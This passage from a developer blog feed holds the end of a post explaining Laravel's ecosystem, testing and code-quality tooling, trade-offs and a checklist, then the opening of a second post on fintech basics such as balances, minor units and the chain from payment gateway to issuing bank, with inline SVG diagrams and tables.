  <text class="dg-k" x="613" y="90">Database</text>

  <path d="M350 122 V150 H14 V116" fill="none" stroke="#15803d" stroke-width="1.5" stroke-dasharray="4,3" />
  <text class="dg-n" x="120" y="165" fill="#15803d">response flows back the same path, in reverse</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">Every one of the nine pieces above plugs into the same predictable request lifecycle.</figcaption>
</figure>

<hr />

<h2 id="laravel-vs-other-frameworks-at-a-glance">Laravel vs. other frameworks, at a glance</h2>

<figure>
<svg id="diagram-laravel-vs-frameworks" viewBox="0 0 680 340" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Comparison of a typical framework versus Laravel across five capabilities. Left box, typical framework, shows auth and ORM assembled from packages, bring your own test runner and linter, hand-wired separate frontend or API, usually one deployment path, and a third-party APM added for visibility. Right box, Laravel, shows the same five capabilities built in: auth, Eloquent ORM and validation; Pest, PHPUnit, Pint and Larastan; Vite with Inertia or Livewire; Forge, Vapor, Sail and Envoyer; and Telescope, Horizon and Pulse.">
  <style>
    #diagram-laravel-vs-frameworks .dg-lbl{font:600 13px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    #diagram-laravel-vs-frameworks .dg-sub{font:10px -apple-system,Segoe UI,Roboto,sans-serif;fill:#475569;}
    #diagram-laravel-vs-frameworks .dg-subw{font:10px -apple-system,Segoe UI,Roboto,sans-serif;fill:#eff6ff;}
  </style>

  <rect x="20" y="20" width="300" height="300" rx="12" fill="#f8fafc" stroke="#cbd5e1" stroke-width="2" />
  <text class="dg-lbl" x="170" y="44" text-anchor="middle">Typical framework</text>

  <rect x="40" y="62" width="260" height="40" rx="6" fill="#f1f5f9" stroke="#cbd5e1" />
  <text class="dg-sub" x="170" y="86" text-anchor="middle">Assemble auth &amp; ORM from packages</text>

  <rect x="40" y="114" width="260" height="40" rx="6" fill="#f1f5f9" stroke="#cbd5e1" />
  <text class="dg-sub" x="170" y="138" text-anchor="middle">Bring your own test runner + linter</text>

  <rect x="40" y="166" width="260" height="40" rx="6" fill="#f1f5f9" stroke="#cbd5e1" />
  <text class="dg-sub" x="170" y="190" text-anchor="middle">Hand-wire a separate frontend/API</text>

  <rect x="40" y="218" width="260" height="40" rx="6" fill="#f1f5f9" stroke="#cbd5e1" />
  <text class="dg-sub" x="170" y="242" text-anchor="middle">Usually one deployment path</text>

  <rect x="40" y="270" width="260" height="40" rx="6" fill="#f1f5f9" stroke="#cbd5e1" />
  <text class="dg-sub" x="170" y="294" text-anchor="middle">Add a third-party APM for visibility</text>

  <rect x="370" y="20" width="290" height="300" rx="12" fill="#eff6ff" stroke="#93c5fd" stroke-width="2" />
  <text class="dg-lbl" x="515" y="44" text-anchor="middle">Laravel</text>

  <rect x="390" y="62" width="250" height="40" rx="6" fill="#2563eb" />
  <text class="dg-subw" x="515" y="86" text-anchor="middle">Auth, Eloquent ORM, validation — built in</text>

  <rect x="390" y="114" width="250" height="40" rx="6" fill="#2563eb" />
  <text class="dg-subw" x="515" y="138" text-anchor="middle">Pest/PHPUnit + Pint + Larastan — built in</text>

  <rect x="390" y="166" width="250" height="40" rx="6" fill="#2563eb" />
  <text class="dg-subw" x="515" y="190" text-anchor="middle">Vite + Inertia/Livewire — official, built in</text>

  <rect x="390" y="218" width="250" height="40" rx="6" fill="#2563eb" />
  <text class="dg-subw" x="515" y="242" text-anchor="middle">Forge · Vapor · Sail · Envoyer · any PHP host</text>

  <rect x="390" y="270" width="250" height="40" rx="6" fill="#2563eb" />
  <text class="dg-subw" x="515" y="294" text-anchor="middle">Telescope · Horizon · Pulse — built in</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">Five capabilities most teams need eventually — Laravel ships all five already wired together, instead of assembled per project.</figcaption>
</figure>

<p>Deployment is a good example of where this compounds: Forge provisions and manages a normal VPS, Vapor runs the same codebase serverless on AWS Lambda, Sail runs it locally in Docker, and Envoyer handles zero-downtime releases — all official, all interchangeable, without touching application code. Frameworks tied closely to one deploy target turn “move platforms later” into a real migration; Laravel treats that choice as reversible.</p>

<hr />

<h2 id="laravel-is-more-than-a-backend-framework">Laravel is more than a backend framework</h2>

<p>It’s easy to file Laravel under “backend framework” and stop there, but that undersells it. The same install can serve a traditional server-rendered website, power the API behind a native mobile app, run everything that happens outside the request/response cycle, and scale from a single server to a fleet — without a rewrite to get there.</p>

<figure>
<svg id="diagram-laravel-fullstack" viewBox="0 0 700 370" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Laravel core connected to four capabilities: frontend via Blade, Livewire and Inertia; mobile APIs via Sanctum and API Resources; background processes via queues, the scheduler and Horizon; and scaling via Octane, Vapor, Redis and Forge.">
  <style>
    #diagram-laravel-fullstack .dg-lbl{font:600 12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    #diagram-laravel-fullstack .dg-sub{font:10px -apple-system,Segoe UI,Roboto,sans-serif;fill:#475569;}
    #diagram-laravel-fullstack .dg-bx{fill:#eff6ff;stroke:#93c5fd;stroke-width:1.5;}
    #diagram-laravel-fullstack .dg-center{font:700 14px -apple-system,Segoe UI,Roboto,sans-serif;fill:#ffffff;}
  </style>

  <path d="M250 140 L240 100" fill="none" stroke="#93c5fd" stroke-width="2" />
  <path d="M450 140 L460 100" fill="none" stroke="#93c5fd" stroke-width="2" />
  <path d="M250 200 L240 260" fill="none" stroke="#93c5fd" stroke-width="2" />
  <path d="M450 200 L460 260" fill="none" stroke="#93c5fd" stroke-width="2" />

  <rect x="20" y="20" width="220" height="80" rx="10" class="dg-bx" />
  <text class="dg-lbl" x="130" y="46" text-anchor="middle">Frontend</text>
  <text class="dg-sub" x="130" y="64" text-anchor="middle">Blade · Livewire</text>
  <text class="dg-sub" x="130" y="78" text-anchor="middle">Inertia (Vue/React/Svelte)</text>

  <rect x="460" y="20" width="220" height="80" rx="10" class="dg-bx" />
  <text class="dg-lbl" x="570" y="46" text-anchor="middle">Mobile APIs</text>
  <text class="dg-sub" x="570" y="64" text-anchor="middle">Sanctum · API Resources</text>
  <text class="dg-sub" x="570" y="78" text-anchor="middle">rate limiting, versioning</text>

  <rect x="20" y="260" width="220" height="80" rx="10" class="dg-bx" />
  <text class="dg-lbl" x="130" y="286" text-anchor="middle">Background processes</text>
  <text class="dg-sub" x="130" y="304" text-anchor="middle">Queues · Scheduler</text>
  <text class="dg-sub" x="130" y="318" text-anchor="middle">Horizon</text>

  <rect x="460" y="260" width="220" height="80" rx="10" class="dg-bx" />
  <text class="dg-lbl" x="570" y="286" text-anchor="middle">Scaling</text>
  <text class="dg-sub" x="570" y="304" text-anchor="middle">Octane · Vapor</text>
  <text class="dg-sub" x="570" y="318" text-anchor="middle">Redis · Forge</text>

  <rect x="250" y="140" width="200" height="60" rx="10" fill="#2563eb" />
  <text class="dg-center" x="350" y="175" text-anchor="middle">Laravel core</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">One codebase, four directions — none of these require a different framework.</figcaption>
</figure>

<h3 id="frontend">Frontend</h3>

<p>Blade, covered above, handles server-rendered HTML. <strong>Livewire</strong> adds full interactivity — live search, dynamic forms, inline validation — without writing JavaScript, by keeping component state on the server and updating the page over AJAX automatically. <strong>Inertia.js</strong> goes the other direction: it lets Vue, React, or Svelte own the entire frontend as a real single-page app, while Laravel still handles routing and data — with no separate API layer needed to connect the two. A team picks whichever point on that spectrum fits the product, inside one framework.</p>

<h3 id="api-for-mobile-applications">API for mobile applications</h3>

<p>A Laravel app can expose a pure JSON API alongside, or instead of, any web frontend — exactly what a native iOS or Android app talks to. <strong>API Resources</strong> shape Eloquent models into consistent JSON responses, decoupled from the underlying database columns. <strong>Sanctum</strong> issues lightweight API tokens for a mobile client to authenticate with, without the overhead of a full OAuth2 flow. Built-in rate limiting and API versioning support mean one backend, one set of business rules, and one database can serve a website and a mobile app at the same time.</p>

<h3 id="background-processes">Background processes</h3>

<p>Not everything happens while a user is waiting on a response. The queue system covered earlier handles work triggered by a request but finished after it. The <strong>task scheduler</strong> replaces a server’s crontab with schedule definitions written in PHP and version-controlled with the rest of the app — “run this every night” is one line, not a cron entry configured by hand on a server somewhere. <strong>Horizon</strong> gives a real-time dashboard over everything running in the background, so a stuck job or a growing backlog is visible immediately instead of silent.</p>

<h3 id="easy-to-scale">Easy to scale</h3>

<p>Because sessions, cache, and queues can all be centralized in Redis instead of tied to one server’s local memory, a Laravel app is stateless in the way that actually matters for scaling — any server behind a load balancer can handle any request. <strong>Laravel Octane</strong> keeps the application booted in memory between requests (via Swoole or RoadRunner) for a large throughput increase on the same hardware. <strong>Vapor</strong> takes the same codebase serverless, scaling automatically with traffic. <strong>Forge</strong> manages provisioning across multiple servers when one machine isn’t enough. None of that requires restructuring the application — it’s a deployment decision, made when it’s actually needed, not a rewrite paid up front.</p>

<hr />

<h2 id="the-quality-analysis-toolkit">The quality-analysis toolkit</h2>

<p>Having tests is not the same as having <em>good</em> tests, and Laravel’s ecosystem has real tooling for that distinction — measuring how much a test suite actually proves, not just how much code it touches.</p>

<h3 id="pest--the-test-runner">Pest — the test runner</h3>

<p><strong>Pest</strong> sits on top of PHPUnit but replaces its verbose, method-per-test syntax with short, expressive functions. The lower the friction to write a test, the more of them actually get written — which is the entire point. Pest also adds <strong>architecture testing</strong>: assertions about the shape of the codebase itself, like “no controller may depend directly on Eloquent” or “every class in this namespace must be final” — rules that catch structural drift a normal test never would.</p>

<p><strong>Example plugins:</strong> <code class="language-plaintext highlighter-rouge">pestphp/pest-plugin-laravel</code> (Laravel-aware test helpers), <code class="language-plaintext highlighter-rouge">pestphp/pest-plugin-arch</code> (the architecture assertions above), <code class="language-plaintext highlighter-rouge">pestphp/pest-plugin-faker</code> (generate realistic fake data for tests), <code class="language-plaintext highlighter-rouge">pestphp/pest-plugin-stressless</code> (lightweight load testing from inside a normal test file).</p>

<h3 id="mutation-testing--does-the-test-actually-prove-anything">Mutation testing — does the test actually prove anything</h3>

<p>Code coverage answers one question: did this line execute during a test? It says nothing about whether the test would <em>notice</em> if that line were wrong. <strong>Mutation testing</strong>, via the <strong>Infection</strong> tool, exposes that gap directly: it automatically changes small pieces of the code — flips a <code class="language-plaintext highlighter-rouge">&gt;</code> to <code class="language-plaintext highlighter-rouge">&gt;=</code>, swaps <code class="language-plaintext highlighter-rouge">true</code> for <code class="language-plaintext highlighter-rouge">false</code>, deletes a line — creating a “mutant,” then reruns the test suite against it. If every test still passes, nothing was actually testing that logic, coverage number notwithstanding. The share of mutants a suite successfully catches is the <strong>Mutation Score Indicator (MSI)</strong> — a far more honest signal of test quality than coverage percentage alone.</p>

<p><strong>Example plugins:</strong> <code class="language-plaintext highlighter-rouge">infection/infection</code> (the mutation testing engine itself, runs against either Pest or PHPUnit with no extra adapter needed), <code class="language-plaintext highlighter-rouge">roave/infection-static-analysis-plugin</code> (skips mutants that static analysis already proves impossible, so runs finish faster).</p>

<h3 id="crap-score--where-the-real-risk-is">CRAP score — where the real risk is</h3>

<p><strong>CRAP (Change Risk Anti-Patterns)</strong> combines two numbers that are dangerous individually but far more dangerous together: <strong>cyclomatic complexity</strong> (how many branching paths a method has) and <strong>test coverage</strong>. A method can show 100% coverage and still be a landmine if it’s deeply branched and only ever tested along the happy path. CRAP flags exactly that combination, so review and refactoring effort goes to the methods that are genuinely risky, not just the ones with the most lines.</p>

<p><strong>Example plugins:</strong> PHPUnit’s own <code class="language-plaintext highlighter-rouge">--coverage-crap4j</code> report flag (produces a CRAP score straight from a normal coverage run, no separate tool needed), <code class="language-plaintext highlighter-rouge">phpmetrics/phpmetrics</code> (a broader complexity and risk dashboard for the whole codebase, CRAP included).</p>

<h3 id="property-based-testing--testing-the-rule-not-one-example">Property-based testing — testing the rule, not one example</h3>

<p>A normal test asserts one specific input against one specific output. <strong>Property-based testing</strong> instead states a rule that should hold for <em>any</em> valid input — “the total is always the sum of the item prices, whatever the items are” — and a tool (in PHP, libraries like <strong>Eris</strong>, usable from inside a Pest or PHPUnit test) generates hundreds of randomized inputs, including edge cases a developer wouldn’t think to write by hand, and tries to break that rule. It catches an entire category of bug that example-based tests systematically miss, simply because nobody thought to write that particular example.</p>

<p><strong>Example plugins:</strong> <code class="language-plaintext highlighter-rouge">giorgiosironi/eris</code> (the standard PHP property-based testing library, drops straight into an existing Pest or PHPUnit test file).</p>

<h3 id="dry--the-principle-the-structure-encourages">DRY — the principle the structure encourages</h3>

<p><strong>DRY (Don’t Repeat Yourself)</strong> isn’t a tool you run — it’s a design principle, and it’s included here because Laravel’s structure is built to make following it the easy path rather than an act of discipline. Form Request classes centralize a set of validation rules instead of repeating them in every controller that needs them. Blade layouts and components remove copy-pasted markup. Traits and service providers share behavior across models without deep inheritance chains. A global scope or a policy centralizes a rule like “a user only ever sees their own orders” in one place, instead of that same <code class="language-plaintext highlighter-rouge">where()</code> clause being repeated — and eventually forgotten — in every query that touches that table.</p>

<p><strong>Example plugins:</strong> unlike the four above, DRY has no pass/fail test — the closest equivalents are <code class="language-plaintext highlighter-rouge">rector/rector</code> (finds duplicated and outdated patterns and rewrites them automatically) and <code class="language-plaintext highlighter-rouge">nunomaduro/phpinsights</code> (scores a codebase on complexity and structure, duplication included, in one report).</p>

<figure>
<svg id="diagram-quality-loop" viewBox="0 0 700 300" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Quality feedback loop: write a test with Pest, generate randomized inputs with property-based testing, mutate the code with Infection, compute the mutation score, compute the CRAP score from complexity and coverage, refactor to keep the code DRY, then repeat on the next change.">
  <style>
    #diagram-quality-loop .dg-lbl{font:600 12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    #diagram-quality-loop .dg-sub{font:10px -apple-system,Segoe UI,Roboto,sans-serif;fill:#475569;}
    #diagram-quality-loop .dg-bx{fill:#eff6ff;stroke:#93c5fd;stroke-width:1.5;}
  </style>

  <rect class="dg-bx" x="20" y="30" width="200" height="70" rx="8" />
  <text class="dg-lbl" x="120" y="58" text-anchor="middle">Write a test</text>
  <text class="dg-sub" x="120" y="76" text-anchor="middle">Pest</text>

  <path d="M220 65 H250" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="253,65 244,60 244,70" fill="#94a3b8" />

  <rect class="dg-bx" x="250" y="30" width="200" height="70" rx="8" />
  <text class="dg-lbl" x="350" y="52" text-anchor="middle">Fuzz the inputs</text>
  <text class="dg-sub" x="350" y="70" text-anchor="middle">property-based testing</text>
  <text class="dg-sub" x="350" y="84" text-anchor="middle">(Eris)</text>

  <path d="M450 65 H480" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="483,65 474,60 474,70" fill="#94a3b8" />

  <rect class="dg-bx" x="480" y="30" width="200" height="70" rx="8" />
  <text class="dg-lbl" x="580" y="52" text-anchor="middle">Mutate the code</text>
  <text class="dg-sub" x="580" y="70" text-anchor="middle">Infection</text>

  <path d="M580 100 V190" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="580,193 575,184 585,184" fill="#94a3b8" />

  <rect class="dg-bx" x="480" y="190" width="200" height="70" rx="8" />
  <text class="dg-lbl" x="580" y="216" text-anchor="middle">Mutation score</text>
  <text class="dg-sub" x="580" y="234" text-anchor="middle">MSI — did the test</text>
  <text class="dg-sub" x="580" y="248" text-anchor="middle">catch the mutant?</text>

  <path d="M480 225 H450" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="447,225 456,220 456,230" fill="#94a3b8" />

  <rect class="dg-bx" x="250" y="190" width="200" height="70" rx="8" />
  <text class="dg-lbl" x="350" y="212" text-anchor="middle">CRAP score</text>
  <text class="dg-sub" x="350" y="230" text-anchor="middle">complexity × (1 − coverage)</text>
  <text class="dg-sub" x="350" y="244" text-anchor="middle">flags the real risk</text>

  <path d="M250 225 H220" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="217,225 226,220 226,230" fill="#94a3b8" />

  <rect class="dg-bx" x="20" y="190" width="200" height="70" rx="8" />
  <text class="dg-lbl" x="120" y="212" text-anchor="middle">Refactor</text>
  <text class="dg-sub" x="120" y="230" text-anchor="middle">stay DRY — remove</text>
  <text class="dg-sub" x="120" y="244" text-anchor="middle">the duplication found</text>

  <path d="M120 190 V100" fill="none" stroke="#2563eb" stroke-width="1.5" stroke-dasharray="4,3" />
  <polygon points="120,97 115,106 125,106" fill="#2563eb" />
  <text class="dg-sub" x="130" y="145" fill="#2563eb">repeat on the next change</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">None of these tools work alone — each one catches what the others miss.</figcaption>
</figure>

<hr />

<h2 id="the-honest-trade-offs">The honest trade-offs</h2>

<div>

  <table>
    <thead>
      <tr>
        <th>Concern</th>
        <th>Reality</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><strong>“PHP isn’t as fast as X”</strong></td>
        <td>True in raw benchmarks, but for most CRUD-style web apps, database and network latency dominate — the language rarely is the bottleneck.</td>
      </tr>
      <tr>
        <td><strong>Learning curve for the “magic”</strong></td>
        <td>Facades, service containers, and Eloquent’s dynamic methods can feel like magic at first — it takes a few weeks to build an accurate mental model.</td>
      </tr>
      <tr>
        <td><strong>Easy to misuse Eloquent</strong></td>
        <td>Careless relationship loading causes N+1 query problems if you don’t learn eager loading early.</td>
      </tr>
      <tr>
        <td><strong>Not ideal for tiny, single-endpoint scripts</strong></td>
        <td>A one-off script or a very small API might not need a full framework’s overhead — a micro-framework can be leaner there.</td>
      </tr>
      <tr>
        <td><strong>Opinionated structure</strong></td>
        <td>If your team strongly prefers a different architecture, Laravel’s conventions can feel like friction rather than help.</td>
      </tr>
      <tr>
        <td><strong>Quality tooling takes deliberate setup</strong></td>
        <td>Pest ships by default, but mutation testing, CRAP scoring, and property-based testing are opt-in — a team has to choose to adopt them, they don’t run themselves.</td>
      </tr>
    </tbody>
  </table>

</div>

<p>None of these are reasons to avoid Laravel outright — they’re reasons to know what you’re opting into.</p>

<hr />

<h2 id="when-to-reach-for-it">When to reach for it</h2>

<p>Laravel is a strong default when:</p>

<ul>
  <li>you’re building a <strong>typical web application</strong> — CRUD features, user accounts, forms, dashboards, an API backing a frontend;</li>
  <li>you want to <strong>move fast without reinventing</strong> routing, auth, and database access from scratch;</li>
  <li>your team values <strong>readable, conventional code</strong> that a new hire can navigate quickly;</li>
  <li>you expect the project to <strong>grow</strong> — queues, caching, and horizontal scaling patterns are already there when you need them;</li>
  <li>your team is willing to <strong>invest in test quality</strong>, not just test quantity, using the tooling above.</li>
</ul>

<p>Reach for something else when you need a language-level advantage Laravel can’t give you (e.g., heavy concurrent workloads better suited to Go or Elixir), or when the project is so small that any framework is unnecessary weight.</p>

<hr />

<h2 id="a-five-point-checklist">A five-point checklist</h2>

<ol>
  <li><strong>Start a new project with Laravel’s official installer</strong> — routing, a local dev server, and a working app, ready in minutes.</li>
  <li><strong>Learn Eloquent relationships and eager loading early</strong> — it prevents the most common Laravel performance mistake (N+1 queries).</li>
  <li><strong>Let Artisan generate boilerplate</strong> instead of hand-writing files — generated code follows the framework’s conventions automatically.</li>
  <li><strong>Write tests as you build, then measure them</strong> — once coverage looks healthy, run mutation testing before trusting it; coverage alone proves less than it looks like it does.</li>
  <li><strong>Read the official docs before reaching for a package</strong> — a lot of what feels like “I need a library for this” is already built in.</li>
</ol>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>Laravel is one idea: <strong>take the parts every web application needs — routing, database access, auth, validation, templating, background jobs — and provide them already built, tested, and documented</strong>, so a team’s time goes into the features that make the product different, not the plumbing every product needs anyway.</p>

<p>Compared to other modern frameworks, the gap isn’t in the basics — most of them route requests and talk to a database just fine. It shows up in what ships alongside those basics, one functionality at a time: testing and code-quality tooling that works from the first commit, an official bridge to Vue, React, or Svelte, deployment that isn’t locked to one platform, and — for the teams that go further — a real answer to “how do we know our tests are actually good,” not just “do we have tests.”</p>]]></content><author><name>Milanda Wijekoon</name><email>milandawijekoon@gmail.com</email></author><category term="Laravel" /><summary type="html"><![CDATA[Laravel's core functionalities explained one by one, how each compares to the equivalent in other modern frameworks, why it's far more than a backend framework — frontend, mobile APIs, background processing, and scaling — and a look at Laravel's quality-analysis toolkit and its plugins. A 15–20 minute read.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://milandawijekoon.github.io/assets/images/logo.png" /><media:content medium="image" url="https://milandawijekoon.github.io/assets/images/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Fintech Basics for Software Engineers: Finance, Payments, Laws, and Risk in 15 Minutes</title><link href="https://milandawijekoon.github.io/blog/fintech-basics-for-software-engineers/" rel="alternate" type="text/html" title="Fintech Basics for Software Engineers: Finance, Payments, Laws, and Risk in 15 Minutes" /><published>2026-09-18T00:00:00+00:00</published><updated>2026-09-18T00:00:00+00:00</updated><id>https://milandawijekoon.github.io/blog/fintech-basics-for-software-engineers</id><content type="html" xml:base="https://milandawijekoon.github.io/blog/fintech-basics-for-software-engineers/"><![CDATA[<p>Most engineers learn fintech the expensive way — by shipping something that “works” in a demo and then discovering it double-charged a customer, or that “refund” isn’t just “undo the charge.” This note is the shortcut: the core vocabulary, how money actually moves, the laws that constrain your design, and the risks you must build against — condensed into one sitting, with diagrams for people who think visually.</p>

<hr />

<h2 id="why-this-is-different-from-normal-backend-work">Why this is different from normal backend work</h2>

<p>In a typical CRUD app, a bug means bad data. In a fintech app, a bug means <strong>money that doesn’t exist moved between people who didn’t agree to it</strong> — and regulators, banks, and customers all expect you to explain exactly what happened, in order, forever. Three rules follow from that, and they shape everything below:</p>

<ol>
  <li><strong>Never delete or overwrite a financial record.</strong> Correct it with a new, opposite entry.</li>
  <li><strong>Never trust “the API said success” to mean “the money moved.”</strong> Those are different moments in time.</li>
  <li><strong>Never use floating-point numbers for money.</strong> <code class="language-plaintext highlighter-rouge">0.1 + 0.2 !== 0.3</code> in IEEE 754 — store cents as integers, not dollars as floats.</li>
</ol>

<hr />

<h2 id="1-the-vocabulary-of-money">1. The vocabulary of money</h2>

<table>
  <thead>
    <tr>
      <th>Term</th>
      <th>What it actually means</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Account</strong></td>
      <td>A record money is associated with — a customer wallet, a merchant, or your own internal “clearing” account.</td>
    </tr>
    <tr>
      <td><strong>Available balance</strong></td>
      <td>What the customer can spend <em>right now</em>, including pending holds.</td>
    </tr>
    <tr>
      <td><strong>Ledger / booked balance</strong></td>
      <td>What has actually cleared and settled. The gap between the two is where holds and float live.</td>
    </tr>
    <tr>
      <td><strong>Transaction</strong></td>
      <td>An event that moves or records value — not all transactions touch the ledger immediately.</td>
    </tr>
    <tr>
      <td><strong>Settlement</strong></td>
      <td>The point money actually transfers between institutions, usually in batches, T+1 or T+2 days later.</td>
    </tr>
    <tr>
      <td><strong>Interchange / processing fees</strong></td>
      <td>What card networks and processors charge to move the money — business-critical, not an afterthought.</td>
    </tr>
    <tr>
      <td><strong>Currency minor unit</strong></td>
      <td>The smallest unit a currency is stored in — cents for USD, but 0 decimals for JPY, 3 for KWD. Get this wrong and every amount is off by a factor of 10, 100, or 1000.</td>
    </tr>
  </tbody>
</table>

<figure>
<svg id="dg-balance-gap" viewBox="0 0 640 200" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="A horizontal bar showing the ledger balance as a solid segment and the available balance extending further left, with the gap between them labeled as pending holds and authorizations.">
  <style>
    #dg-balance-gap .lbl{font:600 13px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    #dg-balance-gap .sub{font:11px -apple-system,Segoe UI,Roboto,sans-serif;fill:#475569;}
  </style>
  <text class="lbl" x="20" y="30">Ledger (booked) balance — $500</text>
  <rect x="20" y="42" width="330" height="34" rx="6" fill="#3b82f6" />
  <text class="lbl" x="20" y="110">Available balance — $420</text>
  <rect x="20" y="122" width="277" height="34" rx="6" fill="#93c5fd" />
  <rect x="297" y="122" width="53" height="34" rx="6" fill="#fecaca" stroke="#ef4444" stroke-dasharray="4 3" />
  <text class="sub" x="300" y="178">↑ $80 held on a pending card authorization — spendable in neither balance yet</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">Two balances, one account. Model both, or customers either see money they can't spend, or spend money they don't have.</figcaption>
</figure>

<hr />

<h2 id="2-payment-gateways-and-processors">2. Payment gateways and processors</h2>

<p>A single <code class="language-plaintext highlighter-rouge">charge.create()</code> call looks like it talks to one system. It actually passes through five separate companies, each doing one specific job. Engineers new to fintech tend to lump them together as “the payment provider” — which is fine until something goes wrong, and you need to know exactly which company in the chain caused it.</p>

<table>
  <thead>
    <tr>
      <th>Role</th>
      <th>Its one job</th>
      <th>Example</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Payment gateway</strong></td>
      <td>Collects the card/wallet details from your checkout and passes them on securely. This is the API you actually integrate with.</td>
      <td>Stripe, Adyen, Braintree</td>
    </tr>
    <tr>
      <td><strong>Payment processor</strong></td>
      <td>Sits behind the gateway and does the technical work of talking to card networks and banks — sending authorization requests, running settlement, moving funds.</td>
      <td>Often bundled with the gateway, sometimes a separate company</td>
    </tr>
    <tr>
      <td><strong>Acquiring bank</strong></td>
      <td>The merchant’s bank. Receives the settled money on the merchant’s behalf.</td>
      <td>Merchant’s business bank</td>
    </tr>
    <tr>
      <td><strong>Card network</strong></td>
      <td>The rail connecting the merchant’s side to the customer’s side. Sets the rules and fees everyone downstream has to follow.</td>
      <td>Visa, Mastercard</td>
    </tr>
    <tr>
      <td><strong>Issuing bank</strong></td>
      <td>The customer’s bank. It’s the one that actually says yes or no to the transaction and holds the customer’s money.</td>
      <td>Customer’s bank</td>
    </tr>
  </tbody>
</table>

<figure>
<svg id="dg-gateway-path" viewBox="0 0 700 200" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="A left to right chain: Customer, then Merchant app, then Payment Gateway, then Processor, then Card Network, then Issuing Bank, with an arrow labeled approval or decline going back down the same chain to the customer.">
  <style>
    #dg-gateway-path .lbl{font:600 10.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    #dg-gateway-path .sub{font:9px -apple-system,Segoe UI,Roboto,sans-serif;fill:#475569;}
  </style>
  <defs>
    <marker id="a2" markerWidth="9" markerHeight="9" refX="5" refY="2.5" orient="auto"><path d="M0,0 L5,2.5 L0,5 Z" fill="#1d4ed8" /></marker>
    <marker id="a3" markerWidth="9" markerHeight="9" refX="5" refY="2.5" orient="auto"><path d="M0,0 L5,2.5 L0,5 Z" fill="#16a34a" /></marker>
  </defs>

  <rect x="5" y="20" width="100" height="54" rx="8" fill="#eff6ff" stroke="#93c5fd" />
  <text class="lbl" x="55" y="42" text-anchor="middle">Customer</text>
  <text class="sub" x="55" y="58" text-anchor="middle">enters card</text>

  <path d="M105 47 H135" stroke="#1d4ed8" stroke-width="1.8" marker-end="url(#a2)" />
  <rect x="135" y="20" width="100" height="54" rx="8" fill="#dbeafe" stroke="#60a5fa" />
  <text class="lbl" x="185" y="42" text-anchor="middle">Merchant app</text>
  <text class="sub" x="185" y="58" text-anchor="middle">your code</text>

  <path d="M235 47 H265" stroke="#1d4ed8" stroke-width="1.8" marker-end="url(#a2)" />
  <rect x="265" y="20" width="105" height="54" rx="8" fill="#bfdbfe" stroke="#3b82f6" />
  <text class="lbl" x="317" y="42" text-anchor="middle">Gateway</text>
  <text class="sub" x="317" y="58" text-anchor="middle">Stripe, Adyen…</text>

  <path d="M370 47 H400" stroke="#1d4ed8" stroke-width="1.8" marker-end="url(#a2)" />
  <rect x="400" y="20" width="100" height="54" rx="8" fill="#93c5fd" stroke="#3b82f6" />
  <text class="lbl" x="450" y="42" text-anchor="middle">Processor</text>
  <text class="sub" x="450" y="58" text-anchor="middle">bank connectivity</text>

  <path d="M500 47 H530" stroke="#1d4ed8" stroke-width="1.8" marker-end="url(#a2)" />
  <rect x="530" y="20" width="80" height="54" rx="8" fill="#60a5fa" stroke="#2563eb" />
  <text class="lbl" x="570" y="42" text-anchor="middle" fill="#fff">Card network</text>
  <text class="sub" x="570" y="58" text-anchor="middle" fill="#e0e7ff">Visa/MC</text>

  <path d="M610 47 H640" stroke="#1d4ed8" stroke-width="1.8" marker-end="url(#a2)" />
  <rect x="612" y="90" width="83" height="54" rx="8" fill="#3b82f6" stroke="#1d4ed8" />
  <text class="lbl" x="653" y="112" text-anchor="middle" fill="#fff">Issuing bank</text>
  <text class="sub" x="653" y="128" text-anchor="middle" fill="#e0e7ff">approves/declines</text>

  <path d="M640 74 V95" stroke="#1d4ed8" stroke-width="1.8" marker-end="url(#a2)" />
  <path d="M612 130 H55 V74" fill="none" stroke="#16a34a" stroke-width="1.6" stroke-dasharray="4 3" marker-end="url(#a3)" />
  <text class="sub" x="330" y="146" text-anchor="middle" fill="#15803d">Approval / decline travels back down the same chain</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">You almost always integrate <em>with</em> a gateway rather than build one — but every hop in this chain can add its own latency, fee, or error code.</figcaption>
</figure>

<p><strong>Why it matters:</strong> most engineers only ever call the gateway’s API, so it’s tempting to assume any problem is your integration’s fault. It usually isn’t. A cryptic decline code, a delayed payout, an unexpected fee — each one traces back to exactly one link in this chain: the issuer’s fraud rules, the network’s cut-off time, or a processor outage. Knowing the chain tells you where to actually look first, and which vendor’s status page to check, instead of debugging your own code for an hour before realizing the problem was never yours.</p>

<hr />

<h2 id="3-how-a-card-payment-actually-moves">3. How a card payment actually moves</h2>

<p>An API call returning “success” almost always means <strong>authorization</strong> succeeded — not that money has moved. Four distinct events happen over the life of one payment, each with different timing and different reversibility:</p>

<figure>
